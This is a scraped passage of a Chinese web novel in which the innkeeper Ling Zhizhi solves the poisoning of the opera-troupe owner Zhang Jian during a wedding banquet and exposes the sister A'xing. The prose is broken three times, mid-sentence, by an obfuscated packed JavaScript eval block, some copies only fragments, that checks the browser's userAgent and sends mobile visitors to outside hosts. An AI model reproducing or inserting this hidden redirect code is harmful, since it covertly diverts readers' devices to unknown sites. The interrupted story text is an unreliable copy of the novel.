楼下耳子身着兽衣穿梭唱跳,与宾客们在打诨逗乐中抢夺红肉,楼中好生热闹,外面玩闹的孩童都被吸引了过来蹲在众人脚下看乐子。 不一会儿演到了第二幕,耳子媳妇和老倌媳妇也上了场。 竟是那两个面容白净的年轻男子。 他二人不知是进入角色了还是怎的,整场演出都表现得小心翼翼的。令知知眯着眼,像是知道了什么喝了口茶。 表演者们用道具讲述了结婚之喜、洞房之愉,惹得满堂哄笑。孙客不懂,也只能傻傻地陪着笑。 最后老倌带着耳子们以一曲十二生肖调结束整场演出。 令知知带头鼓掌叫好。 剧团的人表演完后在后院换下服装准备进楼继续赏歌舞,但耳子媳妇和老倌媳妇的演员仍然着着表演服,甚至有意无意地避开外人的眼神。 令知知从二楼的架空走廊处跳下,正正好落在那两人面前将他们拦住。 不知说了什么,那二人点点头。令知知又与剧团的老板也就是老倌的扮演者聊了聊,不一会儿悄悄递过去一袋钱。 然后老倌喜气洋洋地带着其他演员进楼去了。 “掌柜的这是在干什么?”小蟹嚼着瓜子。 小泥鳅摇摇头,道:“那一大袋子钱,咱们办这喜宴又亏了。” “快来啊,梦寻春处的老板也来了!”小虾跑进后院通知大家。 令知知给那二人指了指东厢房,听见“梦寻春处”便好奇地跑进楼里看。 此时,一位身着白衣,青丝半绾的年轻男子踏进楼内,女眷们都露出喜色,纷纷上前喊着“承桑公子”。 那男子浅浅颔首,勾唇微笑,走得优雅又不羁,像极了片叶不沾身的花花公子。 “那双多情桃花眼,一看就是一副狐媚子样。”小蟹说道。 “承桑公子?”令知知不解,这人她从未见过,也未曾听说。 “他是梦寻春处的老板,听说白子城里有五成的产业都是他的。这日进斗金的富豪却整日里泡在那青楼中,不知道搞的什么勾当。” 令知知突然明白了陈鱼那日让那些女眷去梦寻春处找男花魁是什么意思,原来她口中的那男花魁就是这位承桑公子啊。 见如此尊贵客人来了,刘进喜一行人早就起身围上去打招呼。承桑栩置之不理,只自顾自地走向肖家老爷敬了杯茶便在旁边坐下了。 “陈鱼呢?”令知知想,陈鱼应当认识此人,换她侍奉应当好些。 “刚刚还在楼内了,这一会儿功夫竟不见了。”小虾道。 她也跟着探了一圈,没看见陈鱼:“罢了。此等贵客,快随我好生招待。” 此时后厨点心早都没有了,只见桌上还放着一碗热茶。 不管了,令知知硬着头皮端上那碗银生茶,道:“不知承桑先生大驾光临,令某有失远迎。” “令掌柜不必客气,以后我们必定再见,等到那时再恭迎我也无妨。”承桑栩笑着,但那双眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068136|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有重重一层阴郁。 这是什么意思?要挟我?令知知捉摸不透,对小虾耳旁轻声道:“快去汇祥楼买些热食回来。” 小虾屁颠颠急匆匆地跑去。 “这是,银生的茶?”那薄唇轻轻含住瓷边,抿了一口。 令知知点点头,不知该不该说些什么时,只见他放下那茶水,睫毛轻扫,幽幽道:“倒是个有品位的。” “刚刚耳子歌才演完,不知承桑先生到访,竟叫他们演早了些。”明明是承桑栩来得不合时宜,但面子话还是要说说的。 他摆摆手,道:“无妨,我来此是恭祝肖家大婚的,不是来看歌舞的。” 令知知行礼告退。到后台示意歌舞继续。 好不容易应付完回到后院,她长舒了口气。那人,身高于六尺,气场强势,明明身得一副温润长相,与他言语却让人如此提心吊胆的,活像一只披着羊皮的狼。令知知心里骂着。 “怎么了?”孙客过来握住她搅成一团的手,与她十指紧扣。 令知知见是孙客,笑颜逐开,“没什么。不过就是那承桑先生,好大的气场,竟然让我有几分初次见你父亲那般的紧张。” 孙客用衣袖拂去她手上的热汗,道:“你竟还会怕?” “怎的不怕,那眼神,简直是幽深可怖!”令知知夸大其词,然后问他:“怎么没见到陈鱼,她应当认识这承桑才对,怎么不见她出来伺候。” “许是出门了,她向来不喜热闹。” “也是,等今日忙完了,给他们放个假。”她道。 “令掌柜。”两个面容姣好女生从厢房出来。 “这二位不是……”孙客扭头看向令知知。 若是连这点小伎俩都看不出来,就妄我女扮男装了那么些年。令知知有些洋洋得意,给他介绍着:“今日台上演耳子媳妇和老倌媳妇便是她二人。以后,也是我们孔明楼的伙计。” 孙客还在疑惑先前不是说耳子歌都是由男子来演吗,怎么会是两个年轻的姑娘之时,一声短暂的尖叫突然从陈鱼房中传出。 “啊!” 怎么回事?是陈鱼的叫声。 “不好!”令知知撇下两个受到惊吓的姑娘,连忙拉着孙客进了厢房。 此时陈鱼半瘫在地,面色惊恐地望着那扇已打开的衣柜门。里面里面赫然躺着一具满脸鲜血、死不瞑目的尸体。 令知知冲过去扶起陈鱼,拍了拍她身上的尘土,安慰道:“不怕。” 应该是回过神来了,陈鱼的脸上又恢复了一如往日的平淡,但手有些许的颤抖。 “是、这好像是,是张简。”那俩个跟着跑过来的姑娘指着尸体哆哆嗦嗦地说。 令知知皱着眉头道:“你们慢慢说,这是谁?” 二人到众人面前行了一个礼,其中穿蓝色长裳的女孩开口道:“这是张简,是我们耳子歌的老板,这几日平日演老倌的左阅 告了假,于是我们老板就顶替了他。” 孙客上前看了一下尸体,确认是今日演老倌的戏子,蹲着问二人:“不知二位姑娘如何称呼?” 蓝色长裳的姑娘说:“我二人都不曾有过姓名,戏班里常唤我阿藻,我妹妹叫阿荇。” 令知知立马走出房门安排小泥鳅和小蟹二人,一个看守大门观察谁进谁出,一个照顾楼内客人,不得让喜宴有任何差池。 “现在起不准任何人进到后院,闲杂小事差肖家下人去办。”令知知下令。 “是!” 她面色不佳的回到房中,站在陈鱼旁边,试图给她依靠。 阿藻声音发抖道:“报官吧!” 阿荇也准备说些什么,被令知知打断了,“不行!”她和孙客如今的身份,还是不宜被察觉的。 令知知解释道:“今日是肖家大婚,若是让那些仵作什么的进来了,不是晦气嘛!”然后她在心里默默向仵作们道歉。 “这个张简,平日里可有得罪什么人?尤其今日出现在我孔明楼内的人。”孙客起身转移话题道。 阿藻道:“得罪什么人?好像……”她刚想摇头否认。 “刚刚入席的承桑栩。”阿荇面色惨白,却目光如炬地看着令知知道。 但不知为何,陈鱼突然一怔,捏紧了旁边搀着她的令知知的衣角。 令知知虽然不知为何陈鱼今日如此奇怪,但大局当前,她只能面不改色道:“你说是承桑栩?可是梦寻春处的承桑栩?” 10. 老倌之死 阿藻抛去一个怀疑的眼神,阿荇忽略,对着令知知道:“正是。”她缓缓闭眼,道:“那日,我在排练间隙偷跑出去,正巧撞见那承桑栩与张简吵架。争执的内容我听不太清了,但大概是承桑栩仗着他如今家大业大,想将我们这戏园子承包了去。 “张简自是不肯,于是承桑栩就想把我二人是女子的事透露出去以此要挟他。张简听后便随手抽出道具砸了过去,但谁知那承桑栩不仅财力雄厚,连武功也实在高强,不一会儿就将张老板打得身上青一块紫一块的。 阿荇的表情笃定,显得像是事先准备过的样子,确定了几人的神色继续道:“后来他几次三番来寻我家老板的麻烦,那日还命人抬来好几箱银钱,我们老板权衡利弊,也实在怕了他,昨日里就同他签了合同,要把戏班卖与他。” 阿藻站出来道:“我也隐隐约约知道此事,但我却认为我们到了白子城,到了梦寻春处,能有更广的商路。此事,并不算是一件坏事。况且,张老板他……” “无论如何,他想将我二人是女子的事情公之于众,就是对我们姐妹二人不利!”阿荇打断反驳道。 “停停停,你们这样一说,倒把承桑栩的嫌疑摘干净了。”令知知歪着头道,“你们就将要归入承桑栩的梦寻春处,那他没理由在这之前杀了你们的老板,引人怀疑。” “我看他也不是什么好人,那梦寻春处不就是青楼吗,他就是想把我姐妹二人拉去招揽客人。”阿荇叫道。 “不是青楼!”陈鱼突然大吼一声,空气都安静下来。众人都等着她解释,她却又忽地蔫了,眼睛无精打采地盯着地面。 “众人皆疑我承桑沉迷于酒色之中,唯有陈小友为我如此卑劣之人正名啊。承桑此生,能得此小友,实为幸也!” 一低沉嗓音从后面传出,众人转过身去,身着白衣的长发男子正迈步入房。他倒也懂事,进来前还将门虚掩上了。 陈鱼紧张地咽了口口水,背过身去。 大家看着突然冒出来的承桑栩,满是疑惑。众人还未开口他就微微扭头确认了一眼身后,含笑道:“承桑某身后并没有尾巴,令掌柜和几位不必担心。” 令知知心想这小泥鳅和小蟹实在不靠谱,竟让这么明显的一匹狼进了这房门。 承桑栩利落地踢了下衣摆,以至于不会被血污沾染,天生的微笑唇上扬着,妩媚极了,但那举手投足又处处彰显着生人勿进。 “不错,我呢本想要将这戏班子收入我梦寻春处,但我可没有想让你们姐妹二人去当陪客的想法,这梦寻春处也只是寻常酒楼,纳你们来也不过是想要招揽客人而已。并且,我刚刚才进孔明楼不到半刻,这期间呢并无走动,席上的各位也可替我作证。” 承桑栩一字一句解释,将袖子挽起,指了指尸体有些随意地说,“我看呢,不如先将他拖出来,给张老板验验伤,各位意下如何啊?” “孙客。”令知知给孙客使了个眼色,孙客便同承桑栩一起将张简抬了出来。 为了不能引起前面客人们的注意,于是门也只单单留了一条缝透出些许光亮。血顺着拖拽的走势流出,那股子腥味瞬间充满了整间屋子。 “你们还好吗?”孙客抬头问几个姑娘。 大家都点点头,虽是第一次见如此血腥场面,阿藻和阿荇却显得尤为镇定,互相紧牵着手。 “身上没有伤口,定是中毒了。”孙客摸索一番后说。 承桑栩蹲在张简的头旁边,用指尖捻开还未干的血迹,道:“虽然张简七窍流血,但尸体是半靠着衣柜的,那头发上这些血是从何处来的呢?” 令知知心脏跳个不停,但还是忍着害怕走到尸体旁边,扒拉着张简的头。“你们不觉得他脸上和他头上的血颜色不太一样吗?而且头发上的要粘稠许多。”令知知用左手捂着鼻子说。 承桑栩一听,再也顾不得身上的一身白,靠近那颗头闻了一下,好看的眉眼都挤在一起,道:“都说羊血膻,猪血臭,鸡血骚,而人血是咸腥的。这个味道,应当是鸡血没错了。” “将鸡血洒在头上?这是民间用来驱鬼和辟邪的招数。”阿荇道。 “凶手此举,只怕是担心这张简死后成恶鬼要去索他的命啊。”令知知扇了扇弥漫在空气中的血味,“你们二人再好好想想,最近,你们张老板可有什么诡异之处啊?” “诡异之处?”二人绞尽脑汁也没想出什么。 阿荇仍旧恶狠狠地盯着承桑栩。 承桑栩用余光扫到那一丝怨气,无奈地摇摇头,叹了口气。 “你们之前说的原先要演老倌的那个人,为何告假。”孙客边说边找来一块白布给尸体披上。 阿藻与实相告:“听张老板说,左阅师兄是生病了,但至于生什么病他并未与我们细说。” “左阅?”承桑栩小声嘀咕。 令知知似乎已经把承桑栩当成自己人了,凑过去言语轻佻地道:“怎么?你认识?” “不认识,但靘(qing)阳左氏大家应该都有所耳闻吧。” 阿藻回话:“左阅师兄不是靘阳的,而是彻洲易县的。” 彻洲易县,是原先鲁班阁帮忙修筑观音寺的,处于彻洲最西处的易县。如今,竟然有易县人到此处来谋生计了,真是时过境迁,岁月荏苒。令知知在心里感慨。 “难不成你们怀疑是左阅师兄害了张简?那绝对不是的,左师兄待人亲厚,绝不是犯下杀人之祸的人。”阿荇面色焦急,不难看出她对这位左师兄情谊深厚。 “我二人敢为左阅师兄担保,愿各位勿要伤及无辜。”阿藻抿着唇缓缓向众人行礼。 “姑娘放心,若他真如那般无辜,我们自不会平白冤枉了他去。”令知知将阿藻扶起,继续道:“但如果他今日进了这孔明楼,还在此处顺便行了个凶,那我们也不会放过他。” “左阅师兄应该就在城北的紫竹林戏院中休憩,各位若是不信,大可以派人去看看。”阿荇指着北边扬言道。 令知知当然不放心,推开门唤来刚刚拿来热食的小虾,要他快马加鞭地去寻那左阅。 “那这吃食……”小虾捧着食盒。 “现下也吃不了,你拿着路上吃吧。”她叮嘱道,“记得,左阅若是在,去瞧瞧他到底得了什么病,再看看周围是否有可疑的地方。若是不严重,就把他带来。” “是。”小虾踩上马镫就往城外赶去。 孙客也从房中出来,站在令知知身后道:“我和承桑栩将尸体先放在柴房了,陈鱼今晚……” “陈鱼今日受了惊吓,今夜就让她睡在我房中吧。”令知知抱着双臂,模样上也多了几分担当。 “不必,陈姑娘在我那处还有间小房,今夜就让她在那处睡吧。”令知知听见声音回头一看,承桑栩正从柴房出来,后面跟着有些不自然的陈鱼。 “你?还有陈鱼?”令知知一时语塞,搞不懂二人的关系。 陈鱼也不答话,头始终耷拉着。 “令掌柜,我看此时已经快到申时了,那肖家的几个厨子可还在楼中赏歌舞呢。”承桑栩撇开话题提醒道。 “哦对对对。”令知知一拍脑门就往楼里钻,一手拎着一个厨子出来。 “抱歉令掌柜,我们没福气赏那耳子歌,刚刚忙停就听见乐曲声,就说去看两眼,没成想,竟然一看就到了这个时辰。”厨子道。 “别废话了,赶紧做菜!”令知知递上锅铲,愣了两秒思考,“欸,不对。你们没去看耳子歌?” 厨子拿过锅铲,道:“那会正忙着在院中洗碗呢,哪有时间看。” “那后院,你们可有看见什么人进了那间房?”令知知指着陈鱼的房间问。 厨子们左看看右瞅瞅,其中一个突然憨憨地举起一把青菜道:“我想起来了,进楼前,我见过一个女子进去!” “什么模样?”令知知像是嗅到了线索一样警觉起来。 “这个嘛,带着个面纱,倒是没看清楚。”厨子认真的思考。 那不就是陈鱼本人吗……令知知还以为找到了什么线索,真是白高兴一场。 “多谢。”她漫不经心地抱拳谢过。 一切无果。令知知只好在后门左顾右盼地瞪着小虾的信儿,一听到马蹄声就跑出去张望,两三次都失落地回来。 “晚上来的宾客更多,你二人既然已被我们掌柜的赎了身,那就开始帮忙干活吧,你们张老板的事,我们也会帮着找到凶手的。”孙客将茶罐递给阿藻,“今日肖家婚宴,切记不得将后院发生之事传出。” “是。”姐妹二人倒也乖巧地应下,往楼内走去。孙客无意地瞥了一眼二人的鞋底。 此时,几阵疾风骤雨般的马蹄声由远及近,小虾一脸苦相地回来了。 “怎么样?是不是不在?”令知知看他的脸色有些难看,不由得紧张起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068927|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小虾从马背上跳下,道:“在呢在呢。他得了痢疾,整间房里都臭气熏天的,他房里还有好多虫子,可把我给难受坏了。他现下是骑不了马了,得亏他们戏院里有张轿子,我叫来几个人抬着他,此时正往这边赶呢。” “你苦着张脸干嘛,吓我一跳。”令知知帮忙把马牵到马厩里。 小虾揉着屁股道:“掌柜的,我屁股疼!” “雇人又花我不少钱吧。”令知知打趣道。 他嘿嘿一笑,“都是我原先城北的那群兄弟,不要钱。” 令知知从头到尾扫视着小虾,看着他的细胳膊细腿,啧啧道:“婚宴忙完,给你们放假。” “成!您真好!”小虾忍痛跳跑着回楼里招呼去了。 后院炊烟升起,呛得令知知咳了几下,她眼睛细眯着,扫了扫面前浓烟。 烟雾慢慢散开,一张老脸突然窜到她面前,她惊得退后几步。 “谁?”她拿出别在腰间的小刀,如同刺猬般亮出锋芒。 “是我,肖有道。”年迈的男子缓缓开口。 看清眼前人,令知知收起小刀,道:“肖老爷子,你都这么大年纪了,还要吓我。” “今日下午后院发生的事,我已然知情。”肖有道毫不遮掩地直说。 “啊?”令知知还想装糊涂,直到看见了肖老爷身后站着的怒气冲冲的女子,是阿荇。 她一下子明白了,拉过肖老爷道:“这事发生在肖少爷的婚宴上,我理应向您道歉。只不过此等血光之事,传出去有损肖家声誉不是。我呀,也只是想等处理干净了,再向您通报。”她瞥了一眼阿荇,恶狠狠地开口,“谁曾想,这新来的小伙计,嘴竟如此快。” “令姑娘,我定是信您的。不过这事情若是办不好,凶手再次伤人,我的面子往哪儿搁?今日可是我儿的婚宴啊!你也得替我这老头子想想不是?”肖有道手背打手心,做出为难的样子。 “是是是,肖老,不出今日,我定查出凶手。”她保证,然后贴着肖有道的耳朵说:“不过,还请肖老帮帮忙,替我多耽搁诸位宾客一会儿。” 肖老点点头,叹了口气便回去了。 阿荇扭头也想走,被令知知叫住:“如今你是我孔明楼的人,就要听我的命令,下次若还扰乱楼内安宁,你就不必在我这待了。” 她没说话,抬脚走了。 阿藻刚好过来,看了一眼神情不明的妹妹,也没放在心上,只同令知知道:“小泥鳅先前说他发现一个可疑男子,先跟过去看了。承桑公子也说会帮忙留意楼中客人。” 令知知点点头,道:“辛苦你了。替我谢过承桑公子。” 她巡视了一圈,发现没有什么异样,再次回到柴房查看尸体情况,没想到孙客也在这。 孙客见她来了,便从衣裳上撕下一块布来替她捂住口鼻。 “你有何发现?”令知知问。 “按料想的中毒身亡,刚刚检查他今日用的碗筷包括道具,却都没有异样。” 令知知观察着张简的口鼻,毫无发现。二人一寸一寸地仔细搜查着。 “等等,你看这里。”令知知将尸体侧着观察他的后背部,一颗红痣吸引了她的注意力。 孙客并不觉得有什么稀奇:“这是,一颗红痣。” “你背过身去,我看看。”令知知将孙客扶起,伸手就要将他的衣裳拉起。 “你、你干嘛。”孙客看到她的举动,显得慌张又害羞。 此时令知知早就看光了他的上半身,也看到了在相同位置,孙客也有一颗红痣。 “你可知你身后,也有如此一般的红痣。”令知知将他衣服放下,整理好。 孙客还红着脸,问道:“真的?” “我之前看到过,但没放在心上。”令知知不合时宜地回忆起了孙客的背部,像是要把这些害羞的记忆摇出去一样晃了晃脑袋,指着张简道,“可张简也有,而且位置大小都一模一样。” “你的意思是,这不是偶然?”孙客问她。 “只是怀疑。可惜这张简已经死了,不然还能给你二人把把脉,看看脉象上是否一致。”令知知蹲下继续仔细检查着尸体。 孙客蹲在旁边思考:“要是脉象一致,那我岂不是也死命一条。” “呸呸呸!”令知知将他的手拉过来触碰干柴,严肃道,“你赶紧说呸呸呸!” “好好好,呸呸呸。” 11. 证据确凿 陈鱼端着茶水进来,见二人表情复杂,道:“怎么样?看上去不是普通的毒啊。” 看来人是陈鱼,令知知松了口气,撇着嘴摇头道:“可惜阮姐姐不在白子城中,不然还能请她过来看看。” 陈鱼看眼下并无线索,建议道:“剧团的几个男子都被小蟹看着呢,要让他们知晓此事吗?” “都叫进来吧。”令知知沉着地将手上的血迹擦在衣服上。 小蟹将几人赶过来,真像极了牧羊犬赶绵羊。 剧团的人听说张简死了都不可置信,闹着要看尸体。孙客将白布一拉开,已经暗红的脸庞吓煞众人。 其中一个人看见尸体,竟吓得趴在另外一男子肩上痛哭,“这是我凭生第一次看见人的尸体,张老板死得好生难看啊!” “刚刚已经盘问过阿荇阿藻两位姑娘了,现下轮到你们,可仔细着回话。”令知知坐在藤椅上,手上拿着小刀玩弄着。 七个人齐刷刷地跪下求饶,连连道:“我们必定知无不言!” 陈鱼挥了挥鞭子,抽打在门帐上的声音厚重又急促,吓得众人都安静了下来。 “我问你,最近张简可与人有矛盾?”令知知用刀指着第一个人的脑袋。 那人吓得一屁股坐在地上,摇着手哭诉着:“我、我不知,我不知。” 陈鱼直接一鞭子甩在他身后,冷冷道:“给我小声点。” 只见后面一男子跪着向前挪了几步,表情急切地说:“我知道,承桑栩、还有今日未前来演出的左阅,前几日都与张老板有口舌纠纷。” “说。”令知知此时像极了严刑逼供的判官,表情阴沉狠毒。 “承桑栩要我们都归入梦寻春处,老板原先不肯,二人不合了好一阵子。不过后来不知怎的,老板被说服了,就与他签了合同。”他语速如急雨。 令知知虽然听过原模原样的话,但并未打断,毕竟她谁也不相信,承桑栩也需要充足的证词来证明他与此事无关。 “还有左阅,令掌柜既然现在已知道阿荇阿藻是女子的事,那我也不瞒着各位了。阿荇和阿藻两姐妹小时候就被张老板买来当丫鬟,我们这剧团渐渐名落西山、男丁难寻,老板便让她姐妹二人替上了。” “后来阿荇和左阅相处下来十分投缘,便私定了终生。左阅经常出去演出赚钱,就是想替自己和阿荇赎身,结果银子筹够了,张老板却不愿放他二人走。前几日,左阅年轻气盛,又闹着要退出剧团,张老板便扇了他几个耳光。自那次后,左阅就告假不再同我们出来跑戏了。” 孙客从门外推进一张轮椅,上面瘫坐着一男子,眼眶深邃、色铁青。他张了张干裂的嘴唇,表情极为痛苦道:“小阿四,我平日里待你不薄啊。” “左、左阅师兄。”刚刚急于立功的小阿四表情慌张了起来。 “各位,我是真得病了,如今我这个死样子,实在波折不得。”左阅咳嗽了几声,腹部猝不及防的抽疼让他立马捂住肚子。 小阿四也委屈嘟囔道:“我只是实话实说而已。” 看左阅那副样子,也不像是能赶来折腾一场命案的人。令知知摆摆手,现在倒是什么线索都没有了。 “让我看看再张简。”左阅对孙客道。 孙客推着他来到尸体旁边,左阅双手合十,嘴里不知念着什么。 他缓缓睁开双眼,背对着众人道:“各位,这张简虽然卑鄙自私、贪财好色,但我们好歹主仆一场,如今既然他死了,我想我们也不必活在仇恨之下。”他像是如释重负般,“我们自由了。” 其他人不语,只是对着张简的尸体磕着头。 “我已答应肖有道今日定要查出凶手,还戏院诸位一个公道,所以还请各位就待在后院,配合我们调查。”令知知收起小刀离开。 众人默许。 走到陈鱼房间门口时,小泥鳅气喘吁吁地过来通报:“掌柜的,我跟丢了。” 令知知摆摆手,道:“无事,若我没猜错的话,他又回来了。” 陈鱼、孙客、令知知三人坐在满屋腥气的房间里,都用布捂着口鼻。 令知知不合时宜地笑了一下,环顾陈旧的房间道:“看来这楼还是建小了,连个谈事的地儿都没有。” 还没等其他二人开口,她又继续说道:“你们还记得左阅最后说的话吗?” 孙客细想道:“嗯,听得出他们在戏院中已经压抑很久了。” “不是这个,而是称呼。”令知知故弄玄虚道。 称呼?陈鱼和孙客疑惑地对视。 “你们发现没有,除了阿荇和左阅,其他人都要尊称张简为老板,即使他已经死了。”令知知抬了抬眉毛。 “因为他二人早就恨透了他。”陈鱼道。 令知知伸出食指摇晃,道:“我叫你二人,也是直呼其名。” “你的意思是,他们三人,可能是同我们三人一样的关系?”孙客好像有些明白了。 陈鱼有些嫌弃,嫌弃白眼道:“我们三人能有什么关系?” 令知知无意识地用食指敲着桌子,说:“你们再想,明日紫竹林戏院就要归给承桑栩了,但今日我才花了八百两就赎了两个如花似玉的姑娘。如若戏班少了两个人,张简如何给承桑栩交代啊?” “难不成是……”陈鱼像是想到了什么。 “正是如此。”令知知自信地弯起嘴角,从袖子里拿出一纸文书扣在桌上,“这是我从张简的里裆夹层里找到的。” 里裆夹层?陈鱼翘起小指十分嫌弃地展开,孙客也凑过去看。 皱着眉头看完那张文书,事情也就了然了。 “如今,我们还得去问一个人。”令知知佯装神秘,被陈鱼敲了一下脑袋。 楼内歌舞依旧,虾兵蟹将都干着自己的活,阿荇阿藻两个姑娘也前后忙着。 令知知趁阿藻到后院倒茶渣的瞬间,将她拉了进来。 “掌柜的,你们拉我到此处作甚?”阿藻声音又软又轻,惹人生怜。 “你看这个。”令知知开门见山地将那张纸递给她看。 压抑而沉重的气氛下,她一个字一个字地看下去,表情从疑惑到悲伤,像是受伤绝望的鸟儿,在寂寥中下沉。她眼底里藏着什么,好像是不甘,但白纸黑字红押在眼前,不得不逼迫着让她承认苦痛。她一遍遍地摸索着那颗指纹,眼泪不自觉地滴落下来。 “他们居然敢……”阿藻捏着白纸,伤心疾首。 令知知过去将她的泪拭去,“阿藻姑娘,如今,不必再为不值得之人遮掩了。” “我们戏院的人,都是被拐来的。左阅和张简,他们二人都是一伙的。”阿藻下定决心一般闭上双眼,任凭眼泪在她柔美的脸上留下痕迹。 众人心里一怔。 令知知道:“那这么说,阿荇她也……” “我不知道。”阿藻内心早已乱作一团,回想着白纸上的一字一句,她泪流满面道:“与她那么多年的姐妹情深,纵是这白纸黑字在眼前,我也不愿去相信。明明就在今日,我说我前些日子练舞把脚练肿了,她还把她的鞋换给我穿……” 孙客想到了阿藻脚下的那抹绿色,道:“你说,你与阿荇姑娘换了鞋?” “是啊,明明她待我很好的……” 孙客靠近令知知的耳边,说着什么。 看她一脸的悲伤,令知知虽心疼,但事态紧急,问:“你可愿帮我们一个忙。” 阿藻微微颔首,令知知在她耳边不知说了什么,她先是一愣,随后又想通了般,懂事地行礼离开了。 “好生可怜的女子,先是被拐卖,再被老板剥削,最后又被姐妹背弃。”孙客说道。 世上这般女子,可不止她一人。令知知无奈地叹息。 陈鱼追过去给阿藻一块干净的湿手绢,说:“那张纸,是原先放在张简里裆里的,不如你拿这个擦一擦手。” 阿藻一听,嫌弃地撒开紧握住纸的手指,竟连泪都忘记流了般“噗嗤”一下笑出声。 陈鱼见她笑了,也放心地在面纱下舒展了笑颜。随后小心捡起白纸,用布裹起来收好。这可是一大证据。 好喜碗此时已经端上宴席,宾客们喝酒助兴。肖飒一桌桌地敬着酒,时不时被留住多喝几杯。楼内,只有肖老爷子满面愁容。 令知知叫来下人,让他给后院的演员们也端去一桌好喜。 “好了,肖老,喝一杯,别气坏了身子。”令知知端着两杯酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15077690|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去。 肖有道准备饮下,被令知知拦住与他碰了个杯。 “放心。答应你的事情呢,我只差临门一脚了。此时嫌犯,正在后院。”她一饮而尽。 肖有道不可置信般眨了眨眼,然后说:“当真?” 令知知故意挑眉道:“时间一到,引蛇出洞。” 眼下喜宴马上就要结束,肖有道虽然有些不放心,但看令知知的表情似乎她很有底气的样子,只能等着看结局了。 肖飒走了一圈,酒气愈盛,陈鱼给他端来一碗醒酒汤。他倒也没有推诿,只是看着眼前被面纱遮盖的女孩有些奇怪,借着酒气竟然想伸手去撩。 一只大手狠狠掐住他抬起的手腕,承桑栩不知何时突然出现在他面前,呵斥道:“听闻肖老爷,就教出了你这么个借酒行恶的玩意儿?” 承桑栩的出现竟然比醒酒汤还有效,肖飒被捏得生疼,求饶道:“我不是故意的,我还以为她是阿嫪。” “许是他醉酒后以为这面纱是新娘的红盖头了。”陈鱼替肖飒开脱,看了看周围无人注意此处,提醒道,“快些撒手吧,今日可闹不得。” 承桑栩带着杀意地狠狠将手一甩,离开了。 陈鱼看着承桑栩的背影消失,缓过神来给肖飒道了个歉也跟着走了。 这婚宴已过,宾客也只剩得三三两两,肖家正忙着挨个送客。此次婚宴虽有瑕疵,但表面上任旧过得去。肖有道或许是装淡然装累了,坐在小木凳上疲累地看着下人们收拾东西。 小泥鳅乐呵呵地过去搀他起来,道:“肖老爷,我们掌柜的约您去后院看戏。” 二人移步后院时,令知知正背对着他们,而她前面站着的是戏院其中的八个人。 她道:“今日之事,多谢诸位配合。如今,凶手已经伏法,带上前给诸位认认,免得有些人识人不清,”她故意瞥了一眼阿荇和左阅,重重说道,“盲信了小人啊。” 她说完像右边侧着点了点头。孙客带着被绳条捆着的阿藻出现。 “这是……阿藻姐。”小阿四首先认出。 其余人都纳闷又怀疑:“怎么回事?怎么会是阿藻?” “没错,张简就是阿藻杀的。证据确凿,马上我们就要领她去衙门。”令知知用余光扫视着戏院的其他人,阿荇表情僵硬,左阅表情要自然许多。 令知知看那二人无动于衷,准备再激他们一下:“好了,相信衙门会给你们张老板一个交代的,带上人走吧。” 孙客和阿藻也识趣地往外走去。 一步、两步、三步…… 阿藻与阿荇对视、擦肩…… “等等。” 终于有人按捺不住了,令知知故作惊讶地问:“阿荇姑娘,怎么了?” “凶手,不是我姐姐。”她攥紧拳头,闭着眼。 “哦?”令知知眼含深意,道:“你们姐妹二人,在厢房里换了干净的鞋袜衣裳,听到陈鱼的惨叫后,就直接跑到陈鱼的房间里了,对否?” “是又怎样?”阿荇扬起下巴。 令知知呵呵一笑,演得泼皮般道:“实在不好意思,我孔明楼呢,其他东西不多,但论心眼子,那是响当当的多啊。我家小哥,也是随了掌柜的,那是慧眼如炬,一下子就看见了阿藻姑娘的鞋底沾着松针。我猜想呢,是阿藻姑娘抢先一步换好了鞋袜,然后到楼中邀那张简喝酒,趁机下毒,待他毒发后又无处可藏,只能随手推开了陈鱼的门,将张简塞了进去。” 阿荇怒吼:“不是这样的!” “证据在此,你还有什么可说的。”令知知丢出那只鞋,露出如狐狸般狡猾的微笑。 “阿姐,你早就知道了是不是?”阿荇苦笑,抬头时晶莹的泪珠顺着面颊低落,“你莫再替我隐瞒了。” “张简,是我给他下了毒。我的鞋比阿姐的大些,今日阿姐的脚肿了,我便借给她穿。那鞋是我的。”阿荇对着令知知伸出手,“你们把我绑了,去衙门吧。” 孙客看时机已到替阿藻松了绑,阿藻早已泣不成声,扭头跑去抱住阿荇。 “傻阿荇。” “阿姐才是傻子。” 像是冰释前嫌了般,二人紧紧相拥,倒是一副感人的模样。 12. 一波又起 “咳咳咳。”令知知咳了几声,二人才松开,她正式进入主题,“不过,我突然想起一件事,这张简体型宽大,你一个女子,如何扛着他还将他藏在衣柜里?” 